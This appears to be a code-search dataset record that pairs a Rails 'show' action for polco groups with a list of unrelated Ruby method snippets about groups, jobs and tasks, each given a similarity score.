"def fill_out_work(work)\n work.title = self.title\n\n if self.bib_number.present?\n work.build_external_id(category: \"bib\", value: self.bib_number)\n end\n if self.accession_number.present?\n work.build_external_id(category: \"accn\", value: self.accession_number)\n end\n if self.museum_object_id.present?\n work.build_external_id(category: \"object\", value: self.museum_object_id)\n end\n if self.box.present? || self.folder.present?\n work.physical_container = {box: self.box.presence, folder: self.folder.presence}\n end\n if self.dimensions.present?\n work.extent = self.dimensions\n end\n\n if self.collecting_area == \"archives\"\n work.department = \"Archives\"\n elsif self.collecting_area == \"rare_books\" || self.collecting_area == \"modern_library\"\n work.department = \"Library\"\n elsif self.collecting_area == \"museum\"\n work.department = \"Museum\"\n end\n\n end",
"def jeweler_tasks; end",
"def groupID _args\n \"groupID _args;\" \n end",
"def select_group_loan_for_default_resolution_execution\n @office = current_user.active_job_attachment.office\n @group_loans = @office.group_loans_for_default_resolution_execution\n end",
"def perform\n \n end",
"def effective_group(store)\n group(store) || store.default_group\n end",
"def begin_group kind\n end",
"def running; end",
"def running; end",
"def gid() end",
"def postprocess(groups)\n end",
"def group_info\n super\n end",
"def starting_work(worker, work_unit)\n end",
"def assign_group(group_size, students)\n\nend",
"def grpowned?() end",
"def create\n\t\tif CompetenceGroup.find_by_competence_id_and_alu_group_id(params[:competence_group][:competence_id],params[:competence_group][:alu_group_id])\n flash[:notice] = 'El grupo ya existe.'\n\t\t\t\tredirect_to :controller => 'competences' , :action => 'edit' , :id => params[:competence_group][:competence_id]\n\t\t\t\treturn\n\t\t\n\t\tend\n @competence_group = CompetenceGroup.new(cg_params)\n\n if @competence_group.save\n\t\t\t\t#assign works to all users of groups\t\t\n\t\t\t\t#TODO new method \t all students of group\n\t\tworktype = Work::TEST_TYPE\n\t\t@competence_group.competence.nodes.each do |n|\n\t\tnode_id = n.id\n\t\t@competence_group.alu_group.students.each do |s|\n\t\t\tif not Work.where(student_id: s.id, node_id: node_id)\n\t\t\t\tWork.new(:node_id => node_id , :initialpoints => params[:initialpoints], :student_id => s.id, :worktype => worktype).save\n\t\t\tend\n\t\t\t#successors\n\t\t\tnodes = Array.new\n\t\t\tgetNodesRecursive(Work::ASSIGNEDTOSTUDENT, s.id, node_id, nodes)\n\t\t\tnodes.each do |n|\n\t\t\t\tif not Work.where(student_id: s.id, node_id: n.id)\n\t\t\t\t\tWork.new(:node_id => n.id , :initialpoints => params[:initialpoints], :student_id => s.id, :worktype => worktype).save\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tend\n\t\n flash[:notice] = t('competencegroup_created_success') \n\t\t\t\tredirect_to :controller => 'competences' , :action => 'edit' , :id => @competence_group.competence_id\n else\n render :action => \"newAluGroup\" \n end\n end",
"def with_group\n self\n end",
"def task_groups\n @task_groups ||= begin\n @definition.each_with_index.inject([]) do |task_groups, (action, i)|\n # the action has a catch, it's a singular task group\n if action['do'] && action['do']['catch']\n task_groups << TaskGroup.new(self)\n elsif action['do'] && i > 0 && is_a_validation?(@definition[i-1])\n task_groups << TaskGroup.new(self)\n elsif i == 0\n task_groups << TaskGroup.new(self)\n end\n\n task_groups[-1].add_action(action) && task_groups\n end\n end\n end",
"def reserve_and_run_one_job; end",
"def run_list; end",
"def createGroup _args\n \"createGroup _args;\" \n end",
"def show\n # get array of pending requests\n @pending_requests = @group.group_requests.where(:status => 'pending')\n\n # get array of tasks of the group\n @grouptasks = Task.where(:group => @group.name)\n # get array of tasks of the group where state = Open\n @opentasks = Task.where(:group => @group.name, :state => \"Open\")\n # get array of tasks of the group where state = In Progress\n @inprogresstasks = Task.where(:group => @group.name, :state => \"In Progress\")\n # get array of tasks of the group where state = Completed\n @completedtasks = Task.where(:group => @group.name, :state => \"Completed\")\n\n # check whether or not the user is the group admin\n if GroupMembership.where(:user_id => @current_user.id, :group_id => @group.id, :is_admin => true).exists?\n @is_grp_admin = true\n else\n @is_grp_admin = false\n end\n\n #get group Notifications\n @group_notifications = Group.find(params[:id]).group_notifications\n\n # get name of group admin\n @admin_name = User.find(@group.get_admin(@group)).name\n\n # variables for display of the project deadline progress bar\n if @group.deadline != nil\n project_length = (@group.deadline - @group.created_at.localtime.to_date).to_i\n @days_left = (@group.deadline - Time.current.localtime.to_date).to_i\n days_passed = (Date.today - @group.created_at.localtime.to_date).to_i\n\n if project_length == 0\n # eg. start and end on same day, calc would result in infinity\n @percent_completed = 100\n else\n @percent_completed = ((days_passed.to_f / project_length.to_f) * 100).round\n if @percent_completed < 1\n @percent_completed = 1 # so that progress bar is never totally empty\n end\n end\n\n # warning message inside popover (triggered by hovering over alert icon) if the project is overdue\n if @days_left <= 0\n @overdue = true\n\n if @days_left == 0\n @warning = 'The deadline to complete this project is today!'\n else\n @warning = 'The deadline for this project has passed!'\n end\n\n if @is_grp_admin\n @warning_addition = \"If necessary, you may extend the deadline under 'Group Settings'.\"\n else\n @warning_addition = 'If necessary, please get the group admin to extend the deadline.'\n end\n\n else\n @overdue = false\n end\n end\n end",
"def group; Group.get(self.group_id); end",
"def action_reread\n added, _changed, removed = new_resource.rpc.reloadConfig()[0]\n added.each {|name| new_resource.rpc.addProcessGroup(name) }\n removed.each {|name| new_resource.rpc.removeProcessGroup(name) }\n end",
"def group _args\n \"group _args;\" \n end",
"def managed_working_groups circle\n if can?(:manage, circle)\n circle.working_groups\n else\n circle.working_groups.select{|wg| can?(:manage, wg)}\n end\n end",
"def set_group\n data[:group]\n end",
"def set_group_belonging\n #group_number = self.id % 4\n #self.update_attributes(group: group_number)\n self.update_attributes(group: 1)\n end",
"def work_group_with_type\n\t\tres = {}\n\t\twork_groups = _kv :work_group, :wgid, :wgtid\n\t\twork_group_names = _kv :work_group, :wgid, :name\n\t\twork_group_types = _kv :work_group_type, :wgtid, :name\n\t\tuser_group = work_group_by_user\n\n\t\tuser_group.each do | id |\n\t\t\tgroup_type = work_group_types[work_groups[id]].to_sym\n\t\t\tres[group_type] = {} unless res.include? group_type\n\t\t\tres[group_type][work_group_names[id].to_sym] = id\n\t\tend\n\t\tres\n\tend",
"def manage_group\n shell_out!(\"groupmod\", set_options)\n modify_group_members\n end",
"def group\n @group ||= producer.groups.first\n end",
"def group\n @object.send(:try, Innsights.group_call) if Innsights.group_call.present?\n end",
"def run_jobs(result_io=nil)\n result_io = ResultIO.new if result_io.nil?\n self.reload\n begin\n while self.pending_op_groups.count > 0\n op_group = self.pending_op_groups.first\n self.user_agent = op_group.user_agent\n if op_group.pending_ops.count == 0\n case op_group.op_type\n when :change_members\n added = Array(op_group.args['added']).select{ |id| (role = role_for(id)) and Ability.has_permission?(id, :ssh_to_gears, Application, role, self) } \n removed = Array(op_group.args['removed']).dup\n Array(op_group.args['changed']).each do |(id, from, to)|\n was = Ability.has_permission?(id, :ssh_to_gears, Application, from || default_role, self) \n is = Ability.has_permission?(id, :ssh_to_gears, Application, to || default_role, self) \n next if is == was\n (is ? added : removed) << id\n end\n ops = calculate_update_existing_configuration_ops({\n # FIXME this is an unbounded operation, all keys for all users added and removed to each gear. need to optimize\n 'add_keys_attrs' => CloudUser.members_of(added).map{ |u| get_updated_ssh_keys(u._id, u.ssh_keys) }.flatten(1),\n 'remove_keys_attrs' => CloudUser.members_of(removed).map{ |u| get_updated_ssh_keys(u._id, u.ssh_keys) }.flatten(1),\n })\n op_group.pending_ops.push(*ops)\n when :update_configuration\n ops = calculate_update_existing_configuration_ops(op_group.args)\n op_group.pending_ops.push(*ops)\n when :add_features\n #need rollback\n features = self.requires + op_group.args[\"features\"]\n group_overrides = (self.group_overrides || []) + (op_group.args[\"group_overrides\"] || [])\n ops, add_gear_count, rm_gear_count = update_requirements(features, group_overrides, op_group.args[\"init_git_url\"], op_group.args[\"user_env_vars\"])\n try_reserve_gears(add_gear_count, rm_gear_count, op_group, ops)\n when :remove_features\n #need rollback\n features = []\n features = self.requires - op_group.args[\"features\"] unless op_group.args[\"remove_all_features\"]\n group_overrides = (self.group_overrides || []) + (op_group.args[\"group_overrides\"] || [])\n ops, add_gear_count, rm_gear_count = update_requirements(features, group_overrides)\n try_reserve_gears(add_gear_count, rm_gear_count, op_group, ops)\n when :update_component_limits\n updated_overrides = (self.group_overrides || []).deep_dup\n found = updated_overrides.find {|go| go[\"components\"].include? op_group.args[\"comp_spec\"] }\n group_override = found || {\"components\" => [op_group.args[\"comp_spec\"]]}\n group_override[\"min_gears\"] = op_group.args[\"min\"] unless op_group.args[\"min\"].nil?\n group_override[\"max_gears\"] = op_group.args[\"max\"] unless op_group.args[\"max\"].nil?\n group_override[\"additional_filesystem_gb\"] = op_group.args[\"additional_filesystem_gb\"] unless op_group.args[\"additional_filesystem_gb\"].nil?\n updated_overrides.push(group_override) unless found\n features = self.requires\n ops, add_gear_count, rm_gear_count = update_requirements(features, updated_overrides)\n try_reserve_gears(add_gear_count, rm_gear_count, op_group, ops)\n when :delete_app\n self.pending_op_groups.clear\n self.delete\n when :remove_gear\n ops = calculate_remove_gear_ops(op_group.args)\n try_reserve_gears(0, 1, op_group, ops)\n when :scale_by\n #need rollback\n ops, add_gear_count, rm_gear_count = calculate_scale_by(op_group.args[\"group_instance_id\"], op_group.args[\"scale_by\"])\n try_reserve_gears(add_gear_count, rm_gear_count, op_group, ops)\n when :replace_all_ssh_keys\n ops = calculate_replace_all_ssh_keys_ops(op_group.args)\n op_group.pending_ops.push(*ops)\n when :add_alias\n self.group_instances.each do |group_instance|\n if group_instance.gears.where(app_dns: true).count > 0\n gear = group_instance.gears.find_by(app_dns: true)\n op_group.pending_ops.push PendingAppOp.new(op_type: :add_alias, args: {\"group_instance_id\" => group_instance.id.to_s, \"gear_id\" => gear.id.to_s, \"fqdn\" => op_group.args[\"fqdn\"]} )\n break\n end\n end\n when :remove_alias\n self.group_instances.each do |group_instance|\n if group_instance.gears.where(app_dns: true).count > 0\n gear = group_instance.gears.find_by(app_dns: true)\n op_group.pending_ops.push PendingAppOp.new(op_type: :remove_alias, args: {\"group_instance_id\" => group_instance.id.to_s, \"gear_id\" => gear.id.to_s, \"fqdn\" => op_group.args[\"fqdn\"]} )\n break\n end\n end\n when :add_ssl_cert\n self.group_instances.each do |group_instance|\n if group_instance.gears.where(app_dns: true).count > 0\n gear = group_instance.gears.find_by(app_dns: true)\n op_group.pending_ops.push PendingAppOp.new(op_type: :add_ssl_cert, args: {\"group_instance_id\" => group_instance.id.to_s, \"gear_id\" => gear.id.to_s,\n \"fqdn\" => op_group.args[\"fqdn\"], \"ssl_certificate\" => op_group.args[\"ssl_certificate\"], \"private_key\" => op_group.args[\"private_key\"], \"pass_phrase\" => op_group.args[\"pass_phrase\"] } )\n break\n end\n end\n when :remove_ssl_cert\n self.group_instances.each do |group_instance|\n if group_instance.gears.where(app_dns: true).count > 0\n gear = group_instance.gears.find_by(app_dns: true)\n op_group.pending_ops.push PendingAppOp.new(op_type: :remove_ssl_cert, args: {\"group_instance_id\" => group_instance.id.to_s, \"gear_id\" => gear.id.to_s, \"fqdn\" => op_group.args[\"fqdn\"]} )\n break\n end\n end\n when :patch_user_env_vars\n op_group.pending_ops.push(PendingAppOp.new(op_type: op_group.op_type, args: op_group.args.dup))\n when :add_broker_auth_key, :remove_broker_auth_key\n ops = []\n args = op_group.args.dup\n self.group_instances.each do |group_instance|\n args[\"group_instance_id\"] = group_instance._id.to_s\n group_instance.gears.each do |gear|\n args[\"gear_id\"] = gear._id.to_s\n ops.push(PendingAppOp.new(op_type: op_group.op_type, args: args.dup))\n end\n end\n op_group.pending_ops.push(*ops)\n when :start_app, :stop_app, :restart_app, :reload_app_config, :tidy_app\n ops = calculate_ctl_app_component_ops(op_group.op_type)\n op_group.pending_ops.push(*ops)\n when :start_feature, :stop_feature, :restart_feature, :reload_feature_config\n ops = calculate_ctl_feature_component_ops(op_group.op_type, op_group.args['feature'])\n op_group.pending_ops.push(*ops)\n when :start_component, :stop_component, :restart_component, :reload_component_config\n ops = calculate_ctl_component_ops(op_group.op_type, op_group.args['comp_spec'])\n op_group.pending_ops.push(*ops)\n when :execute_connections\n op_group.pending_ops.push PendingAppOp.new(op_type: :execute_connections)\n end\n end\n\n if op_group.op_type != :delete_app\n op_group.execute(result_io)\n unreserve_gears(op_group.num_gears_removed)\n op_group.delete\n self.reload\n end\n\n end\n true\n rescue Exception => e_orig\n Rails.logger.error e_orig.message\n Rails.logger.debug e_orig.backtrace.inspect\n\n #rollback\n begin\n op_group.execute_rollback(result_io)\n op_group.delete\n num_gears_recovered = op_group.num_gears_added - op_group.num_gears_created + op_group.num_gears_rolled_back + op_group.num_gears_destroyed\n unreserve_gears(num_gears_recovered)\n rescue Exception => e_rollback\n Rails.logger.error \"Error during rollback\"\n Rails.logger.error e_rollback.message\n Rails.logger.error e_rollback.backtrace.inspect\n end\n raise e_orig\n end\n end",
"def set_group_task\n @group_task = GroupTask.find(params[:id])\n end",
"def set_group_task\n @group_task = GroupTask.find(params[:id])\n end",
"def grouper\n @generate_batch_summary = false\n\n if ((@config.primary_group == \"payer\" && @config.without_batch_grouping) ||\n @config.by_nextgen)\n @all_checks = get_operation_log_checks(@config.job_status_grouping, @batches.collect(&:id))\n \n if @config.primary_group == \"payer\" && @config.without_batch_grouping\n chk_grps = @all_checks.group_by{|b| get_payer_criteria(b).to_s}\n elsif @config.by_nextgen\n Output835.oplog_log.info \"Grouping is By NextGen\"\n groups = segregate_checks(@all_checks)\n chk_grps = {}\n \n groups.each_with_index do |checks, index|\n @nextgen_insurance = (index == 0)\n if index == 0\n chk_grps = (checks.group_by{|check| payer_type(check).to_s})\n else\n chk_grps.merge!(checks.group_by{|check| payer_type(check).to_s})\n end\n end\n end\n\n group_keys = chk_grps.keys\n ideal_insurance = {}\n patpay = {}\n nextgen_insurance = {}\n nextgen_patpay = {}\n rejected = {}\n\n ideal_insurance = chk_grps.select {| key, value | key.include?(\"actual_insurance\")}\n patpay = chk_grps.select {| key, value | key.include?(\"patpay\")}\n nextgen_insurance = chk_grps.select {| key, value | key.include?(\"queue_goodman_nextgen\")}\n nextgen_patpay = chk_grps.select {| key, value | key.include?(\"queue_nextgen\")}\n rejected = chk_grps.select {| key, value | key.include?(\"rejected\")}\n \n ideal_insurance_sorted = ideal_insurance.sort_by{|key,value| payer_name_for_check(value.first)}\n nextgen_insurance_sorted = nextgen_insurance.sort_by{|key,value| payer_name_for_check(value.first)}\n\n ideal_insu_sorted_array = []\n patpay_array = []\n nextgen_insu_sorted_array = []\n nextgen_patpay_array = []\n rejected_array = []\n for i in 0..ideal_insurance_sorted.length - 1\n for j in 1..ideal_insurance_sorted[0].length - 1\n ideal_insu_sorted_array << ideal_insurance_sorted[i][j]\n end\n end\n\n for k in 0..nextgen_insurance_sorted.length - 1\n for l in 1..nextgen_insurance_sorted[0].length - 1\n nextgen_insu_sorted_array << nextgen_insurance_sorted[k][l]\n end\n end\n patpay_array = patpay.values\n nextgen_patpay_array = nextgen_patpay.values\n rejected_array = rejected.values\n\n if config.by_cpid || config.by_nextgen\n @checks_array = []\n @sub_grp_indx_hash = Hash.new{|h, k| h[k] = []}\n @sorted_checks_hash = Hash.new{|h, k| h[k] = []}\n\n if !ideal_insu_sorted_array.blank?\n split_by_ten_checks(ideal_insu_sorted_array, 'ideal_insurance')\n end\n\n if !patpay_array.blank?\n split_by_ten_checks(patpay_array, 'patpay')\n end\n\n if !nextgen_insu_sorted_array.blank?\n split_by_ten_checks(nextgen_insu_sorted_array, 'nextgen_insurance')\n end\n\n if !nextgen_patpay_array.blank?\n key = 'nextgen_patpay'\n @checks_array << nextgen_patpay_array.flatten\n @sub_grp_indx_hash[key] << 0\n @sorted_checks_hash[key] << nextgen_patpay_array.flatten\n\n end\n if !rejected_array.blank?\n key = 'rejected'\n @checks_array << rejected_array.flatten\n @sub_grp_indx_hash[key] << 0\n @sorted_checks_hash[key] << rejected_array.flatten\n end\n\n ordered_group_keys = @sorted_checks_hash.keys\n \n ordered_group_keys.each do |group_key|\n \n @nextgen_patpay = false\n @nextgen_insurance = false\n @ideal_patpay = false\n @ideal_insurance = false\n @rejected = false\n \n group_checks = @sorted_checks_hash[group_key]\n sub_grp_indx_ary = @sub_grp_indx_hash[group_key]\n @nextgen_patpay = group_key.include?(\"nextgen_patpay\")\n @nextgen_insurance = group_key.include?(\"nextgen_insurance\")\n @ideal_patpay = group_key.include?(\"patpay\")\n @ideal_insurance = group_key.include?(\"ideal_insurance\")\n @rejected = group_key.include?(\"rejected\")\n\n @all_check_groups = group_checks\n \n @all_check_groups.each_with_index do |checks, index|\n @sub_group_index = sub_grp_indx_ary[index]\n @checks = checks\n if @sub_group_index == 0\n @payer_name = get_payer_name_in_subtotal_header\n end\n yield\n end\n end\n else\n @checks = chk_grps[group_key]\n yield\n end\n \n else\n @batches.each do |btch| \n @counter = 0\n @current_batch = btch\n if @config.primary_group == \"payer\"\n @all_checks = get_operation_log_checks(@config.job_status_grouping, btch.id)\n groups = @all_checks.group_by{|b| get_payer_criteria(b).to_s}\n if config.by_cpid || config.by_nextgen\n groups.keys.each do |k|\n groups[k] = groups[k].sort{|a,b| payer_name_for_check(a) <=> payer_name_for_check(b)} \n end\n group_keys = groups.keys.sort{|a,b| payer_name_for_check(groups[a].first) <=> payer_name_for_check(groups[b].first)}\n else\n group_keys = groups.keys.sort\n end \n \n group_keys.each_with_index do |k,i|\n @checks = groups[k] \n @generate_batch_summary = true if i == (group_keys.size - 1)\n yield\n end \n \n else\n @checks = get_operation_log_checks(@config.job_status_grouping, btch.id)\n yield\n end\n end\n end\n end",
"def create_group(group_name,group_uuid,classes = {},rule_term,parent_group)\n load_classifier\n groups = @classifier.groups\n @classifier.update_classes.update\n current_group = groups.get_groups.select { |group| group['name'] == group_name}\n if current_group.empty?\n cputs \"Creating #{group_name} group in classifier\"\n groups.create_group({\n 'name' => group_name,\n 'id' => group_uuid,\n 'classes' => classes,\n 'parent' => groups.get_group_id(\"#{parent_group}\"),\n 'rule' => rule_term\n })\n else\n cputs \"NODE GROUP #{group_name} ALREADY EXISTS!!! Skipping\"\n end\nend",
"def createGroup\n call :createGroup\n end",
"def assignment\n self.grouping.assignment\n end",
"def current_groupby_status\n\t\tif done?\n\t\t\tDONE\n\t\telsif over_due?\n\t\t\tOVERDUE\n\t\telse\n\t\t\tUPCOMING\n\t\tend\n\tend",
"def worker_number=(worker_num); end",
"def linkable\n\t\tself.work\n\tend",
"def run!\n DCell::SupervisionGroup.run!\n end",
"def workers(count); end",
"def find_or_create_workflow_group(step)\n step = step.upcase\n if step.start_with?('STEP_')\n parts = step.split('_')\n i = parts[1].to_i\n group = @obj.getWorkflowGroup(i)\n if group.nil?\n group = DGroup.find_or_create(workflow_name(i.to_s))\n @obj.setWorkflowGroup(i, group)\n end\n elsif step == 'SUBMIT'\n @obj.createSubmitters\n name_submitter_group\n group = @obj.getSubmitters\n end\n @obj.update\n group\n end"
] |
[
"0.65304726",
"0.64990455",
"0.6234683",
"0.6223546",
"0.61844134",
"0.6022724",
"0.59699833",
"0.58951044",
"0.58951044",
"0.58951044",
"0.5811327",
"0.5729674",
"0.5729674",
"0.5729674",
"0.5701306",
"0.5695682",
"0.5644302",
"0.5638896",
"0.5637322",
"0.5628927",
"0.56011504",
"0.55904627",
"0.5579904",
"0.5571459",
"0.55708677",
"0.55642503",
"0.5554143",
"0.55496323",
"0.55436736",
"0.5530105",
"0.5526674",
"0.55203825",
"0.5500127",
"0.5496412",
"0.5483726",
"0.54680544",
"0.54646283",
"0.54597366",
"0.5439624",
"0.5429347",
"0.5419593",
"0.5402213",
"0.5385995",
"0.53843623",
"0.5374354",
"0.53679943",
"0.536748",
"0.536748",
"0.5341754",
"0.53410083",
"0.5327731",
"0.5316877",
"0.5308031",
"0.5302923",
"0.53027356",
"0.5299314",
"0.5297208",
"0.52776164",
"0.52727497",
"0.5266161",
"0.5259486",
"0.52533853",
"0.5248883",
"0.5235747",
"0.5235747",
"0.5224531",
"0.5220366",
"0.5207455",
"0.52069944",
"0.52055365",
"0.5200007",
"0.5199724",
"0.51968014",
"0.5192582",
"0.5184484",
"0.5178318",
"0.51757413",
"0.5169451",
"0.51632947",
"0.5161588",
"0.51581377",
"0.51544654",
"0.5150348",
"0.5150143",
"0.5149881",
"0.5138615",
"0.51384884",
"0.51240164",
"0.5118222",
"0.51132715",
"0.51132715",
"0.51114994",
"0.5108851",
"0.5108222",
"0.5105596",
"0.51035994",
"0.51010287",
"0.5099999",
"0.5099387",
"0.5099065",
"0.5094861"
] |
0.0
|
-1
|
GET /polco_groups/1 GET /polco_groups/1.xml
|
def show
@bills = @polco_group.get_bills
@members = @polco_group.members
@followers = @polco_group.followers
respond_to do |format|
format.html # show.haml
format.xml { render :xml => @polco_group }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n respond_to do |format|\n format.html { @groups = Group.get_groups(current_user, params) }\n format.xml { render :xml => Group.get_groups(params.merge({:show => 'all'})) }\n end\n end",
"def index\n respond_to do |format|\n format.html { @groups = Group.get_groups(current_user, params) }\n format.xml { render :xml => Group.get_groups(params.merge({:show => 'all'})) }\n end\n end",
"def new\n @polco_group = PolcoGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @polco_group }\n end\n end",
"def index\n #@polco_groups = PolcoGroup.all.paginate(:page => params[:page], :per_page => 20) # where(name: /#{params[:q]}/i)\n @groups = Hash.new\n @groups[:states] = PolcoGroup.states.all.paginate(:page => params[:page], :per_page => 20)\n @groups[:districts] = PolcoGroup.districts.all.paginate(:page => params[:page], :per_page => 20)\n @groups[:customs] = PolcoGroup.customs.all.paginate(:page => params[:page], :per_page => 20)\n\n respond_to do |format|\n format.html # index.haml\n format.xml { render :xml => @polco_groups }\n format.json { render :json => @polco_groups.map{|g| {:id => g.id, :name => g.name}} }\n end\n end",
"def index\n\n @groups = Group.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groups }\n end\n end",
"def index\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groups }\n end\n end",
"def index\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groups }\n end\n end",
"def index\n @groups = Group.all\n @title = \"Groups\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groups }\n end\n end",
"def index\n\n @groups = Group.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groups }\n format.json { render :json => @groups }\n end\n end",
"def index\n @user_groups = UserGroup.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_groups }\n end\n end",
"def index\n @provider_groups = ProviderGroup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @provider_groups }\n end\n end",
"def show\n @grupo = Grupo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @grupo }\n end\n end",
"def index\n\n @user_groups = UserGroup.find(:all)\n\n respond_to do |format|\n format.html { redirect_to :controller => :groups, :action => :index }\n format.xml { render :xml => @user_groups }\n end\n end",
"def index\n\n @group_definitions = GroupDefinition.find(:all)\n\n render :xml => @group_definitions\n end",
"def get_nodegroups()\n nodemgr_rest_call(\"GET\", \"classifier\", \"groups\", $credentials)\nend",
"def index\n @user_groups = UserGroup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_groups }\n end\n end",
"def index\n @grupos = Grupo.find(:all).sort_by {|p| p.asignatura.curso.codigo }\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @grupos }\n end\n end",
"def index\n @groups = WorkGroup.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groups }\n end\n end",
"def index\n @groups = SuperSimpleCms::Group.find(:all, :order=>:position)\n\n respond_to do |format|\n format.html { render :template => 'admin/groups/index' }\n format.xml { render :xml => @groups }\n end\n end",
"def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group.to_xml }\n end\n end",
"def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group.to_xml }\n end\n end",
"def index\n @giving_groups = GivingGroup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @giving_groups }\n end\n end",
"def index\n @competence_groups = CompetenceGroup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @competence_groups }\n end\n end",
"def show\n @group_list = GroupList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group_list }\n end\n end",
"def index\n @group_users = @parent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @group_users }\n end\n end",
"def index\n @api_v1_groups_polls = Api::V1::GroupsPoll.all\n end",
"def resourcegroups\n result = @http.get('/resourcegroups')\n result[1]\n end",
"def get_group\n send_request(FUNCTION_GET_GROUP, [], '', 4, 'k4')\n end",
"def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def index\n @pgroups = Pgroup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pgroups }\n end\n end",
"def index\n #@groupings = Grouping.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groupings }\n end\n end",
"def show\n\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def show\n @user_group = UserGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user_group }\n end\n end",
"def show\n @lab_group = LabGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lab_group }\n end\n end",
"def show\n @group_of_task = GroupOfTask.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group_of_task }\n end\n end",
"def index\n @jido_grp_rels = JidoGrpRel.find(:all)\n if params[:sort]==\"grp\"\n @jido_grp_rels = JidoGrpRel.find(:all, :order => :group_id )\n end\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @jido_grp_rels }\n end\n end",
"def index\n @groups = @flr.groups.all\n end",
"def index\n @groups = Group.paginate :page => (params[:page]||1), :order => 'name ASC', :per_page => 10\n \n @self_member_groups = Group.find(User.find(current_user).group_members.map(&:group_id)) \n @self_created_groups = User.find(current_user).groups\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groups }\n end\n end",
"def show\n @provider_group = ProviderGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @provider_group }\n end\n end",
"def show\n @group = Group.find_by_param(params[:id])\n @title = \"#{@group.name}'s Group\"\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def index\n @slicegroups = Slicegroup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @slicegroups }\n end\n end",
"def index\n groups = get_collection(assignment.groups) || return\n\n group_data = include_memberships(groups)\n\n respond_to do |format|\n format.xml do\n render xml: group_data.to_xml(root: 'groups', skip_types: 'true')\n end\n format.json { render json: group_data }\n end\n end",
"def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n format.xml { render xml: @group }\n end\n end",
"def index\n @fgroups = Fgroup.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @fgroups }\n end\n end",
"def show\n @group = Group.find(params[:id]) #Sicherheitsrisiko ohne @user.groups.find ?\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def show\n @competence_group = CompetenceGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @competence_group }\n end\n end",
"def showgrp\n @grp = params[:id].to_s\n @groups=Group.where(\"kls_parent=\"+@grp).order(\"name asc\")\n render json: @groups\n end",
"def show\n @personnel_group = PersonnelGroup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @personnel_group }\n end\n end",
"def index\n @gruppi = Gruppo.all :order => 'GRP_NAME asc'\n respond_with(@gruppi)\n end",
"def show\n @jido_grp_rel = JidoGrpRel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @jido_grp_rel }\n end\n end",
"def show\n group = Group.find(params[:group_id])\n\n @subgroup = group.subgroups.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n\n format.xml { render :xml => @subgroup }\n end\n end",
"def show\n @group = Group.find(params[:id])\n\n @list_group_subgroups = @group.group_subgroups.paginate :page => params[:subgroups_page], :per_page => 10\n @list_group_members = @group.group_members.paginate :page => params[:members_page], :per_page => 10\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group }\n end\n end",
